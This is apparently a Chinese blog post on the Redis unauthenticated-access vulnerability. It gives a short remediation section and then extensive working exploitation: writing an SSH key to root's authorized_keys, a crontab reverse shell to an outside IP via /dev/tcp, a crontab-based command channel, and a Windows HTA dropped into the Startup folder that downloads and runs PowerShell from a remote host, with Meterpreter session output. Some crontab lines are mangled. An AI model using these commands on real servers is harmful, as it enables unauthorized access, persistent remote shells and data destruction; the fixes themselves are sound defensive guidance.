【Kali】Redis未授權(quán)訪問(wèn)漏洞

** 一、漏洞描述和危害 **
Redis因配置不當(dāng)可以未授權(quán)訪問(wèn),被攻擊者惡意利用。
攻擊者無(wú)需認(rèn)證訪問(wèn)到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來(lái)清空所有數(shù)據(jù)。
攻擊者可通過(guò)EVAL執(zhí)行l(wèi)ua代碼,或通過(guò)數(shù)據(jù)備份功能往磁盤寫入后門文件,如果Redis以root身份運(yùn)行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過(guò)SSH登錄受害服務(wù)器。
**二、已確認(rèn)被成功利用的軟件及系統(tǒng) **
對(duì)公網(wǎng)開放,且未啟用認(rèn)證的redis服務(wù)器。
三、建議修復(fù)方案

1、指定redis服務(wù)使用的網(wǎng)卡 (需要重啟redis才能生效)
在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#號(hào)去掉,然后保存。注:修改后只有本機(jī)才能訪問(wèn)Redis。

2、設(shè)置訪問(wèn)密碼 (需要重啟redis才能生效)
在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密碼,Redis客戶端也需要使用此密碼來(lái)訪問(wèn)Redis服務(wù)。

3、修改Redis服務(wù)運(yùn)行賬號(hào)
請(qǐng)以較低權(quán)限賬號(hào)運(yùn)行Redis服務(wù),且禁用該賬號(hào)的登錄權(quán)限。可以限制攻擊者往磁盤寫入文件,但是Redis數(shù)據(jù)還是能被黑客訪問(wèn)到,或者被黑客惡意刪除。

4、設(shè)置防火墻策略
如果正常業(yè)務(wù)中Redis服務(wù)需要被其他服務(wù)器來(lái)訪問(wèn),可以設(shè)置iptables策略僅允許指定的IP來(lái)訪問(wèn)Redis服務(wù)。

2.3 漏洞分析與利用
首先在本地生產(chǎn)公私鑰文件:

$ssh-keygen –t rsa
然后將公鑰寫入foo.txt文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再連接Redis寫入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
$ 192.168.1.11:6379> config get dir

  1. "dir"
  2. "/root/.ssh"
    $ 192.168.1.11:6379> config set dbfilename "authorized_keys"
    $ 192.168.1.11:6379> save
    這樣就可以成功的將自己的公鑰寫入/root/.ssh文件夾的authotrized_keys文件里,然后攻擊者直接執(zhí)行:

$ ssh –i id_rsa root@192.168.1.11
即可遠(yuǎn)程利用自己的私鑰登錄該服務(wù)器。
當(dāng)然,寫入的目錄不限于/root/.ssh 下的authorized_keys,也可以寫入用戶目錄,不過(guò)Redis很多以root權(quán)限運(yùn)行,所以寫入root目錄下,可以跳過(guò)猜用戶的步驟。


轉(zhuǎn)載內(nèi)容
Redis利用姿勢(shì)收集
redis的exploit,完全不需要flushall破壞數(shù)據(jù)場(chǎng)景,redis-cli set 1 ‘ringzero’,這樣可以控制第一條記錄,就能保證你的內(nèi)容始終保持在最前面;

測(cè)試環(huán)境:CentOS,RHEL

  1. 利用crontab反彈shell

redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save

  1. 利用crontab創(chuàng)建文件 /tmp/888

redis-cli flushall # 為了方便測(cè)試
redis-cli set test 'test'
redis-cli set my 'mymymymymymymymymymymymy'
redis-cli set word 'wordwordwordwordwordword'
redis-cli set hello 'ringzero'
redis-cli set word1 'word1word1word1word1word1word1'
echo -e "\n\n/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
redis-cli flushall
echo -e "\n\n
/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save

  1. 二次改寫crontab

redis-cli flushall
redis-cli set 2 ';a=redis-cli get c;'
redis-cli set 1 'id;redis-cli set r $a;#'
redis-cli config set dir /tmp/
redis-cli config set dbfilename w
redis-cli save
redis-cli set c whoami

  1. 利用第一步的寫crontab步驟,完成下面的命令

echo " " > /tmp/zz
cat /tmp/w >> /tmp/zz
/bin/sh /tmp/zz
redis-cli get r

控制 /var/spool/cron/root 和 /tmp/zz

最終實(shí)現(xiàn),每10秒從redis的c變量讀入要執(zhí)行的命令,再將執(zhí)行結(jié)果寫入變量r

          • sleep 10;/bin/sh /tmp/zz

windows利用方式(轉(zhuǎn)自90sec)

redis 官方未發(fā)布windows版本,但是野外存在redis/win版本。

在測(cè)試時(shí)發(fā)現(xiàn)一windows版本redis,遂開始搞。

直接上利用,基于msf:

root@weisuo.org:~# cat hta-psh.txt
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
[url=mailto:root@weisuo.org]root@weisuo.org[/url]:~# cat hta-psh.txt |redis-cli -x -h 192.168.138.27 set a
OK

hta-psh.txt 對(duì)一些字符串進(jìn)行變通,如不,在寫入時(shí)會(huì)導(dǎo)致字符串丟失。

msfconsole

use payload/windows/meterpreter/reverse_tcp
generate -t hta-psh -f /var/www/1.ps1
之后起個(gè)handle,略

修改1.ps1,文件內(nèi)容大概如下:

$command=”powershell -nop -w hidden -e xxxxxxxxxxxxxxxx”;iex $command;$command2=”taskkill /im mshta.exe”;iex $command2;

最后寫入文件,等待管理員登陸

root@weisuo.org:~# redis-cli -h 192.168.138.27
redis 192.168.138.27:6379> CONFIG GET dir

  1. "dir"
  2. "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
    redis 192.168.138.27:6379> config get dbfilename
  3. "dbfilename"
  4. "2.hta"
    redis 192.168.138.27:6379> save
    OK
    redis 192.168.138.27:6379>[/p][p=20, null, left]
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.
 
[*] Started reverse TCP handler on 119.91.151.22:80
msf exploit(handler) > [*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 60.111.27.14
[*] Meterpreter session 4 opened (119.91.151.22:80 -> 60.191.37.34:56301) at 2016-06-06 11:06:00 -0400
[*] Session ID 4 (119.91.151.22:80 -> 60.111.27.14:56301) processing AutoRunScript 'migrate -f'
[*] Current server process: powershell.exe (4896)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3768
[+] Successfully migrated to process

本站內(nèi)容均為原創(chuàng),轉(zhuǎn)載請(qǐng)務(wù)必保留署名與鏈接!
redis利用姿勢(shì)收集:https://www.webshell.cc/5154.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

推薦閱讀更多精彩內(nèi)容